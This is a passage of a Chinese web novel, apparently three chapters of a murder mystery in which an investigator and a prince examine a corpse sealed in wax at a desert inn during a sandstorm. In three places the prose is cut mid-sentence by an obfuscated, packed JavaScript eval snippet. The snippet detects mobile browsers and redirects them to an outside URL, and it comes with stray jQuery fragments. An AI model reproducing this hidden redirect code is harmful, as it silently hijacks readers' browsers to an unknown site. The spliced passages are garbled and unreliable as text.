“实际上,在“赶尸”前,赶尸人就会把尸体处理一下,有些甚至只保留脑袋。这样能够让尸体变轻,方便搬运。之后,再拿稻草编成身体。等到走路的时候,首尾各有一人扮做尸体,以竹竿穿过尸体腋下,将尸体抬起来。走前面的人摇铃也只是为了和后面一个统一步调和警示他人远离。” “这……尸体不全,就不怕被死者的家人拆穿吗?” “不会的。赶尸人会假称尸体不能近人气容易诈尸,只让死者家人匆匆看一眼就下葬,很难出纰漏。” 容朗说道:“这种事情本就是图个心安,家属即使有所怀疑也不会去戳破。” “任兄弟年纪轻轻,看事情倒是看得透彻。”鲁达称赞。 石中泉还在纠结:“难道真是遇上赶尸了?” “怎么?”何青飞主动问道,“难道您真是为了这种事儿跑出来的?” 石中泉不好意思地说道:“这不是想着去外地躲躲嘛!” “哎呦!我说石老板呐。”何青飞哭笑不得,“您有什么好怕的,就算真是遇见了不干净的东西,最多也就晦气罢了。” “晦气?” “晦气!” 两道声音接连响起。 李希言转过头朝着后面看去。 那敲竹杠的中年男子正在呵斥今日挺身而出的黑衣人。 “你们客栈怎么回事!把守灵人也弄进来住着?” 伙计在旁边劝着:“您消消气,他不和您住二楼的……” “呸!”中年男子很是激动,“这么晦气的人!哪怕是住在一间客栈也不行!“ 他掏出一锭银子往桌子上一拍。 “马上把他赶出去!” “这……”伙计哪里敢去接。 而处于风暴中心的黑衣人就那样站在原地不动,低着头也看不清表情。 “贵客贵客,您高抬贵手。”伙计作揖求道,“今晚有沙尘暴,您这个时候把人赶出去是会出事的。您心善就别和他计较了。” 其余的人也面露不满。 又不住一个屋,怎么这样刻薄? “吵闹。”李希言的声音冷冰冰的,“不满意就自己滚出去。” “你说什么!你……” “钟力。” 一旁的钟力立即上前把那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573528|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给抓着领口提了起来。 “再多话就扔出去。”李希言早就不满此人的行径。 “是!”钟力声如洪钟。 那人一下就怕了,又是摆手又是求饶:“错了错了,这位娘子,是我一时糊涂一时糊涂啊。” 李希言这才示意钟力把人放下。 这人一下就老实了,抹了一把脸就回了房。 想必也是觉得丢人。 那黑衣人朝着走近李希言一桌走近几步,站在几步开外行了个礼:“多谢小娘子出手相救。” “给我拿咸菜做什么!”背着药箱的小娘子冲出来,正挡在二人中间,“我不吃咸菜!” 刚刚才松了口气的伙计又解释道:“这不要钱的。” “不要钱也不要!难道我是因为没钱吗!” 客栈里闹哄哄的。 一桌人也没了喝酒的心情,吃了几口就散去了。 窗户紧闭着。外面用木板封住。 风带着沙粒在挡风的木板上刮擦着,发出让人牙酸的滋滋声。 李希言有些睡不着,起身披上衣服点燃了灯,坐在窗边,隔着窗户感受着外面的狂风。 灯刚刚燃起,门就被敲了两下。 “是我。” 容朗?他也睡不着吗? “进来吧。” 容朗也披着衣服,头发散乱着。 “我是来求收留的……” 一副可怜样。 李希言不由笑了。 “怎么了这是?” 容朗走到她身边坐下:“还不是那个臭小子!第一次来沙漠就兴奋过头,一直说个不停,我根本没法睡。” 客栈简陋,即使是上房也只有一张床和几个凳子。 “我这儿没地方给你睡。” 容朗抱着她的胳膊:“你对我不如从前了。” 李希言被哽了一下。 “你这是什么话?” “难道不是吗?你原来可不会对我这样……” “没有的事。”李希言特意放轻了声音,“我们不是小时候了。” “我知道啊。”容朗指了指自己的嘴巴,“李少使当时知道吗?” 那夜的纷乱呼啦啦地涌了上来,李希言猛的向后一仰。 “你要负责!”容朗一字一句地控诉着。 “那也不能……” “我就借一半床铺睡一睡。”容朗马上示弱,“你就可怜可怜我吧,你知道的,我身子不好,不能缺觉……” 明明对方这大体格子怎么看也不像是身体不好的样子。 李希言还是心软了。 “就一晚。” “嗯嗯!” 容朗飞快跑到床边坐下。 “我知道你爱睡里面,我睡外面。” 他拍拍床沿。 “快来,我们说说话就能睡着了。” 或许是门窗紧闭导致人的脑袋都是晕的。 李希言就这样走了过去,直直坐在了床边。 容朗忍不住咧嘴一笑,蹲下身帮她脱鞋。 “姐姐,你说的瘟疫的事情,那边可有回信啊?” 说到正事,那点不自然的感觉顿时消失。 李希言盘腿坐在床上。 “或许是怕走漏风声,具体情况没有详细说,只说感染的人都有恶心呕吐腹泻发热的症状,大部分人身上还出现了红斑。” “身上还有红斑啊……” “不管是什么情况,得去了才知道。”李希言躺了下来。 容朗把床帘放下。 烛火隐隐绰绰照了进来。 李希言闭上眼,平复着呼吸。 “外面的风沙好大。”容朗絮絮地说着话,“这风的声音可真吓人,听着像是在鬼叫一样,也不知道这客栈的老板和伙计是怎么在这地方呆了这么多年的……难怪那些小孩童谣都是唱什么……春风来,莫出门,人在家中点灯台……” “春风来,莫出门,人在家中点灯台……嘿嘿……” 黑暗中,低哑诡异的声音响起,又很快融入风沙声中。 105. 风沙骤起 清晨,暂时停歇的风沙让人不愿醒来。 容朗已经穿好衣裳,但是人还趴在床沿,痴痴地看着李希言。 要是…… 日日都能如此就好了。 他的目光黏在她的脸上。 李希言缓缓睁开眼。 “唔……” 那种醒来就神清气爽的感觉她已经很久没有拥有过了。 “听老板娘说,今早上有土豆油饼,又脆又糯。” 李希言听得口中都分泌起了口水。 容朗又给她端来水和帕子洗漱。 李希言看他这样,有些不自在。 “你好歹是个王爷,怎么还这样伺候我。” 容朗张口就来:“我是皇帝也伺候你。” 李希言已经快习惯了他经常性大逆不道的言论。 “你这话别让陛下听到。” “哥哥自己对嫂嫂不也这样。” 李希言把微凉的帕子敷在发热的脸上,小声嘀咕着:“什么哥哥嫂嫂……” 她和他又不是那种关系,怎么能拿来类比…… 容朗确实没有骗人。 客栈早上做的还真是土豆油饼。 土豆压成泥混合面粉搅成面糊,再用胡麻油煎脆。 金黄的饼,外面焦脆,里面还是土豆的糯,调味只有简单的盐巴,却越吃越香。 “我昨晚都想说。”刘春擦擦嘴,对着伙计说道,“原来你家这吃食是真的不行,也就烤肉好吃,怎么现在连煎个饼都这样香?” 伙计笑道:“那是我们家老板娘的好手艺。您不常来,可能就不知道,我们老板娘本是来我们这儿做厨子的。” “啧。”蔡旺打趣道,“姜老板多吝啬啊,连厨子都要拐回自己家。” 伙计也大着胆子揶揄自己的老板。 “客栈现在可是老板娘管账呢,我们老板把自己搭进去了。” 众人不由都笑了一下。 李希言觉得有些奇怪。 这个客栈的老板还真是神龙见首不见尾,到现在都没见着本人。 正说着话,一个极其俊秀的男子从里间走了出来。 他的皮肤都泛着如玉的光,五官更是秀致非常,众人不由都看了过来。 “卫川……”关风和小声喃喃,“你小子被比下去了。” “这是?”鲁达微微张大了嘴。 他这一路上怎么老看见这么俊秀的男子? 前有任家兄弟和他手下姓卫的郎君,现在这个也不差多少。 “这就是姜老板啊。”蔡旺补充道,“美人姜的姜。” 就连李希言都有些意外:“不是说他都三十多了吗?” “三十有五。”蔡旺笑得也无奈,“他这么多年确实一直没变模样。” 容朗悄悄扯了扯李希言的袖子:“妖怪似的。” “你别胡说……”李希言急忙制止他。 还在别人店里呢。 容朗很是不满。 一个老男人罢了! “咳咳。”姜老板的美人面上泛起红晕,“诸位客人,我刚刚看了天气,这几日连着会有很大的沙尘暴,请诸位不要离店。” “什么?!” 客栈里一下躁动了起来。 李希言对着蔡旺问道:“这位姜老板还会预测沙尘暴?” “是呢。这就是他在这里开客栈安身立命的本事,不然在这荒漠里开个客栈哪里有那么容易。” “不知这沙尘暴什么时候会停?”鲁达起身相问,语气急切。 “最多五日。” 伙计在一旁试探着问道:“老板,要去给田郎君说一声吗?” 原本面带腼腆之色的姜老板瞬间变了脸。 “管他做甚!” 他说完一甩袖子就回了后面。 这语气里的怨恨,明显得根本没有丝毫遮掩。 蔡旺环顾四周。 “田郎君就是昨日敲我们竹杠那人?” 石中泉有些懵:“什么敲竹杠?” 蔡旺把昨日之事复述了一遍。 “田大怎么这样?”石中泉站起身,一脸愤愤不平,“我去说说他,让他把马还给你!” 鲁达拉住他:“你们认识?” “也不算太熟。”石中泉瞟了一眼李希言二人,“我和他有些生意上的往来。他还算能听得进去我的话。” “算了算了。”鲁达本来也不想计较这事儿。 石中泉却很坚持。 “鲁老板别劝我,我这人呐,最厌恶的就是这种人,我一定帮你把马要回来!” 他一把按住鲁达,阔步向田大的房间走去。 李希言老早就看破了石中泉的心思。 不就是想结交“京城药材商任家”吗? “鲁大哥。”她悠悠道,“虽然一匹马对您来说不值钱,但是能要回来总是好的。” 鲁达被说得有些心动。 他养马也爱马。 哪怕是普通的马,他也不愿意那马落入田大那样的小人手里。 “倒也是。” 鲁达也不是真鲁莽,该有的心机还是有的。 他提醒道:“这个石中泉是想要和你们……” 李希言点头:“多谢鲁大哥提醒。” 鲁达见她的模样,料想她已经知情。 “嗐,任娘子不嫌我多嘴就是了。” “啊——” 楼上忽然传来石中泉的大喊声。 李希言霍然起身望去。 二楼,一扇门大开着,石中泉跌跌撞撞从里面跑了出来。 “死人了!” 充满恐惧的喊声让整座客栈安静了一瞬,旋即又很快沸腾了起来。 李希言顾不得其他,几步冲上楼梯。 大开的房门里,一个浴桶被摆在房屋的正中间。 一个人头僵直着从浴桶中露了出来,头发被梳成一把马尾,放在脑后,若不仔细看,还会以为对方只是在沐浴。 这诡异的场景让李希言屏住了呼吸。 她走上前查看。 尸体面色雪白,没有任何外伤,地上也没有血渍,干净得让人意外。 而浴桶中,灌满了白色的蜡,蜡已经凝固,田大的尸体就固定在其中。 “这是……”后来一步的容朗不可置信地瞪大了眼。 李希言迅速做出判断。 “凶手将尸体放入浴桶后,灌入了蜡液。” “啊!” 身后传来阵阵惊呼。 李希言转过身,门口已经围满了人,就连一直呆在房里的那个小娘子都跑了出来。 每个人脸上都是惊恐,无一例外。 “让一让!”刚刚才离开的姜老板挤了进来。 他额头上都出了一层薄汗。 “田明真的死了?” 死者名叫田明,是凉州人,家境富裕,颇有些田产,再加上年轻的时候读了些书,在当地也算是个不大不小的乡绅。 田明只带了一个仆人。 那仆人昨晚是被打发睡在大通铺的,对着一切都毫不知情。 客栈里所有人都齐聚在大堂中。 李希言坐在大堂里,开始审问田明的仆人。 “田明好好的,离开凉州做什么?” “去看病。阿郎的年轻的时候读书太过刻苦,眼睛不太好,经常会冒金光。前段时间,他听说鸣沙县有个大夫治疗眼疾很厉害,所以才想着去看看眼睛。” “昨晚你最后见到他是什么时候?” “戌时正,我伺候完阿郎洗漱就离开了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587701|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你们其他人可在戌时后见过他?” 众人皆摇头。 昨晚风沙大,绝大部分用完饭就回了屋子。 伙计也说道:“我戌时后倒是在大堂来去了几次,可是没有听见任何动静。” “那个……”姜老板出言道,“我们是不是应该先报官啊?” “报官?”李希言反驳,“外面这么大的沙尘,谁去报官?官又怎么来?” “可是……” 李希言打断:“昨晚那么大的沙尘,凶手左不过就是客栈里的人,一一排查过去就是了。如今我们都离不开此处,不靠自己先把凶手找出来,你们睡得着吗?” 姜老板还是忐忑:“这怎么找?” “我懂点验尸的门道。”容朗随口胡诌,“家里是做药材生意的,我对这些我还算懂一点。” 姜老板越看越觉得奇怪。 这俩人…… 一个做派像是官员,一个还懂验尸? “不行!得报官!”被仆人扶着的石中泉用力吼着,“我们都是普通人怎么能抓的到凶手!得让人去凉州报官!立刻!” 他的模样急切得过分。 其余人也纷纷附和。 “是啊……咱们哪里有本事破杀人案呐……” “那凶手还那么可怕……” 这样躁动。 李希言不得不摊牌。 她摸出自己的令牌往桌上利落一拍。 “不必报官。” 清脆的一声让议论纷纷的众人都探头看了过来。 离得最近的姜老板呆呆地念了出来“:“绣衣司……少使……李希言?!你是李希言!” 鲁达更是震惊地僵在原地。 “我是,所以现在可以不需要去报官了吧?” 姜老板反应很快:“当然!” 他对绣衣司倒是没有什么畏惧。 如今更是没有。 自己客栈里死了人,有官兵在,是好事。 其余人本就慌得不行,此刻更是只觉得心安。 稳住了众人的情绪,李希言收回令牌,直接问起了后来那几人的身份。 黑衣人看着畏畏缩缩,做事倒是坦然。 “我叫桑堂,是凉州人。这次是准备去鸣沙县办点……事情。” 他语焉不详,又一脸为难,应该是和他特殊的职业有关。 黑壮汉子也说道:“我叫李锋,是凉州人,做木匠活儿的。这次是准备去鸣沙县买膏药。” 他身边那个斯文文士还是那么慢条斯理:“在下罗仪,是京城人士,久居凉州,因为懂得一点儿吐蕃语,平日里都是帮各位做生意的人译语。这次去鸣沙县也是准备买点儿膏药,所以和李师傅结伴而行。” “我叫张萱,是房州人,四处行医,刚从凉州回来。”她清了清嗓子,像是很不舒服似的。 李希言的目光在几人之间打转儿。 “你们认识死者吗?” 没想到这一问,还真是让现场大部分人都变了脸色。 除了发现尸体的石中泉,昨晚和他们一桌吃饭的何青飞还有李锋与罗仪都认识田明。 罗仪解释道:“凉州是个小地方。我们都是在凉州久居之人,认识也不奇怪吧?” “熟悉吗?” 几人皆摇头。 李锋直接了当地说道:“不熟,我只是给他家做过家具。” 另外几人也只说在生意上和他有些往来。 李希言继续问道:“田明可有得罪过谁?” 几人沉迷对视了一眼。 还是石中泉主动说道:“李少使,他为人处世如何您也看到了,这要说是得罪很多人也不奇怪吧?“ “在场的有吗?”李希言话锋直指一人,“姜老板,您和田明是有过节的吧?” 106. 行人行路不见路 姜老板的玉面一下涨得发红。 “确实。我和他是有过节。” “是这样的。”老板娘掀开帘子从后面走出,挡在自己夫君身前,“我家夫君自祖父那一辈起就是在凉州城里开客栈做生意的。谁料想那个田明看上了夫君家的客栈,就使计夺走了客栈。幸亏当时上一任鸣沙客栈的老板是夫君的远房长辈,又没有孩子,就教给了夫君这预测沙尘暴的本事,还把这客栈也交给他打理,才让夫君得以在此安身立命。” 她越说越气愤,眼睛都变得红红的。 “夫人……”姜老板搂住她,小声哄道,“都过去了……” “可真有此事?”李希言朝着田明的仆人求证。 “是……阿郎当年确实是……做了这样的事情……”仆人也一脸不忍,如实道,“阿郎向来如此。” 问再多的话,都不如先去验证一下尸体。 二人去了田明的房间。 一个验尸,一个勘探现场。 桌子上放着一杯未喝完的水,李希言拿起杯子闻了一下,没有任何异味。 床头挂着田明所有的衣物。 衣物没有任何损伤,但是能够肯定是凶手给脱下来的。 李希言在衣物里翻找着。 田明的配饰都没有丢失,就连纸张做成的护身符都完好无损。 凶手就像是只要扒掉他的衣服而已。 容朗这边也没有太大的收获,不因为其他,只因为死者大部分尸体都泡在固体的蜡块中。 “他的财物没有丢失,凶手甚至连翻都没有翻过他的包袱。” 李希言走近。 “怎么?没法验?” 容朗点点头。 “这个蜡块……” 他怎么把尸体弄出来啊? 看着这一桶蜡块,李希言也有些没办法。 “凶手是怎么把这么多蜡融化掉的?” 蜡虽然容易融化可是要融掉这么大的量,还是很麻烦的。 “用热水能行吗?” “得有容器才行。”李希言算了算,“这凶手也是有毅力。” 这么多蜡得融多久啊…… “他杀人就杀人,兜这么大圈子做什么?” 容朗看着尸体的脸。 这表情算得上平静。 “苗青。”李希言打开门,“你让人把尸体先弄出来。” 还是苗青有办法。 让人把刀烧热,将蜡块破了开来。 尸体被取出。 容朗这才得以好好验尸。 尸体很是僵硬,呈现别扭的坐姿。 他先按压了一下尸体的关节处,尸僵已经完全形成,死亡时间至少有三个时辰了。 考虑到蜡的问题,尸温和尸斑已经没办法再作为参考,他翻开了死者的眼皮。 微微的浑浊。 “死亡时间在昨晚子时初左右。” 至于死因…… 浑身除了脖子以下的烫伤以外没有其他外伤,烫伤应该是蜡造成的。 尸斑主要分布在臀部和背部…… 面色苍白,口唇呈紫黑色。 怎么像是心疾猝死? 李希言在一旁问道:“毒?” “没有中毒的症状。”容朗招手,“田明的仆人在何处?” 那仆人一直缩在门外,一听到招呼立即探出头来。 “小的在这里。” 容朗问道:“你家阿郎可有什么疾病?” “没有。”仆人几乎是没有思考就脱口而出,“阿郎除了眼睛不好,其余什么病都没有,身子强健着呢。” “你先下去吧。” “是……” 李希言指着尸体上的烫伤。 “这能够分辨出是死前伤还是死后伤吗?” 容朗长叹一口气:“不能。人在刚刚死去的时候,也会被烫伤。现在只能确定,凶手杀了人然后把人放在了浴桶里,又往浴桶里灌入了蜡。死亡时间在子时左右。” “要融化这么大块的蜡,至少需要一个时辰。” “那就是亥时……亥时都在屋里吧?” 李希言斜睨了他一眼:“不一定。” 容朗一点儿都不心虚:“我出来的时候还不到亥时呢。” “厚脸皮。”李希言捏了一把他的脸,“好好想想,有没有什么毒药能够让人做猝死状,还验不出来的?” “天下之大,无奇不有。”容朗动作一顿,“客栈里不就有个大夫吗?” “你怀疑她?” “一个古怪的医女,很像凶手的样子。” “是不是凶手不确定,但是可以问问她。” “问她什么?” 李希言没有回答,直接让苗青将人请了过来。 那位张小娘子落落大方,冲着李希言行完礼就主动问道:“李少使是要让我帮忙验尸吗?” “你医术应该不错?是家传的?” 原本精神抖擞的小娘子眼神一下失去了神采。 “是。” “有没有一种毒能让人无形之中猝死?” 李希言负手而立,看似是在闲话,实际上眼神已经牢牢锁定这对方。 张萱瞳孔微缩:“有!” “你知道那种药?” 张萱回过神,正对上李希言怀疑的视线 “我不是……我是知道。”她慌乱得手都在乱挥,“我只是知道,我没有那种药,更不会拿药去毒杀人,我是大夫!” “别着急。”李希言拍了拍她的肩膀,“问问而已。” “我真的没有!我都不认识他!” “好了。”李希言问道,“你知道这药哪里有吗?” 张萱表情一僵,过了好一会儿才回答道:“我知道的,拥有这种药的人应该早就死掉了。” “是谁?” 张萱视线垂下,捏着衣角。 “是我的父母,可是他们已经去世很久了。而且,这药不一定只有他们才有。” 李希言没再追问。 “你先回去吧。” 失落的身影在门后消失。 “凶手很厉害,做得很隐秘,一点线索都没有留下。”容朗宽慰道,“左不过就客栈里这几个。” “我只是想到……”李希言摆手,“先说案子吧。凶手若真是下毒,又是怎样让死者服下毒药的呢?这一点很难说清,但是有一点,这些蜡是哪儿来的?” 众人的行李都不算多。 李希言带着药材,鲁达带的只有马匹,蔡旺和刘春同行,但是二人一个担着的扁担根本藏不了那么多东西,一个驾驶的马车里空荡荡的什么都没有。 另外的人更是几个包袱就了事。 “客栈里的?这客栈里会有这么多蜡?” “也不奇怪。鸣沙客栈居于鸣沙山中,一刮起沙尘来,根本就不能出门,存点要用的物品也是常理。” 二人立即叫来姜老板询问。 姜老板只微微愣了一下。 “客栈里确实有不少蜡烛。您看,这天气下,只要一起沙尘,连白日都要点上蜡烛。那东西又放不坏,我每次都会在店里放上不少。” “那客栈的蜡烛都存放在何处?” 姜老板摸出一串钥匙:“在后面的小楼二楼,那里是存放杂物的地方。” “带我们去看看。” 姜老板打着灯笼走在前面。 被封闭的客栈很是昏暗,只有蜡烛照亮,外面又黄沙蔽日,一时之间,还真分不清到底是日还是夜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599397|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>二人跟着他,穿过小门,经过马厩,又沿着厨房才找到了小楼的门。 姜老板打开门,小心翼翼走在前面。 “二位要找蜡烛做什么?” 李希言犹豫了片刻,如实回答道:“凶手偷了客栈的蜡烛。” “凶手……” 灯笼摇晃了两下,姜老板声音有些颤。 “他为什么要那样做……” “要么凶手脑子有问题,要么凶手和田明有仇。” “有仇……”姜老板像是笑了一下,“我觉得是前者,我和田明也有仇,若是要我杀他,我肯定不会让他死的太轻松。” 没错,田明死状诡异,但是却不算是太受罪。 可凶手是为什么呢?为什么要把他放在浴桶里灌满蜡?这代表了什么? 一直到回房的时候,李希言还是没有想通这个问题。 若是为了报复,凶手将死者尸体砍头损毁都是正常的。 可是这样不留痕迹的杀人手法,诡谲的处理方式。 难道真的只是凶手有异于常人的思维? 容朗端着晚饭走进来。 “先吃点再想吧。” 晚饭是简单的炒菜和米饭,加上一盘烤肉。 “大晚上吃这么荤腥?” 容朗托着腮帮子:“你动脑子很累,需要吃好点,是我让他们加的菜。怎么?还在纠结凶手为何如此杀人?” “嗯……” 容朗也气自己帮不到她。 尸体上的线索太少了。 “你说凶手和死者认识吗?” “至少是认识的。昨晚门窗禁闭,凶手要下毒也好,进入死者的房间也好,都需要二人至少是认识的状态。” “我更奇怪找不到下过毒的东西,按照张萱所言,那毒只能服用才有效。” “应该是凶手自己带了下过毒的吃食。” “和田明认识的人啊……”容朗板着指头一一算来,“石中泉,何青飞,那个木匠李锋,还有罗仪。” 李希言放下筷子:“我们还漏算了几个人。” “什么人?” “客栈里的人和田明自己的仆人。” “哦,对了,还有一件事!”容朗提醒道,“我今天验尸的时候发现的,浴桶的边沿上有一小块浆糊的痕迹。” “粘了什么……”李希言皱紧了眉。 难道是什么机关? 看她愁眉不展,容朗开解道:“明日再说吧。有些时候尸体上的痕迹会过段时间才显露出来,说不定等到明日,就有什么线索了。” 李希言深吸一口气。 饭菜的香气让人心安。 得好好睡一觉,明日才有精力。 夜…… 风沙的声音因为安静而变得更大。 客栈里,每一扇门都关得紧紧的,而每一扇门里几乎都亮着灯。 才死了人,谁不害怕? 就连李希言也默许了容朗赖在房间里不走的行为。 唯独有一个例外。 他背着包袱悄悄打开了客栈大门,轻手轻脚从门缝中溜了出去。 只要逃走,他就安全了。 面对面前的漫天风沙,他第一次感受不到恐惧,因为背后有更大的恐惧。 他向前走着,看不见路,只能凭着直觉。 “呵。” 一声意味不明的笑忽然在耳边响起。 他浑身汗毛都立了起来。 “轮到你了。”如同来自地狱的低语在风声中湮没…… 旭日初升,风沙暂歇。 客栈的不远处,几丛杂草中藏着一颗人头。 风摩擦砂砾,竟然发出了人声。 “行人行路不见路,庄稼都在地里埋……”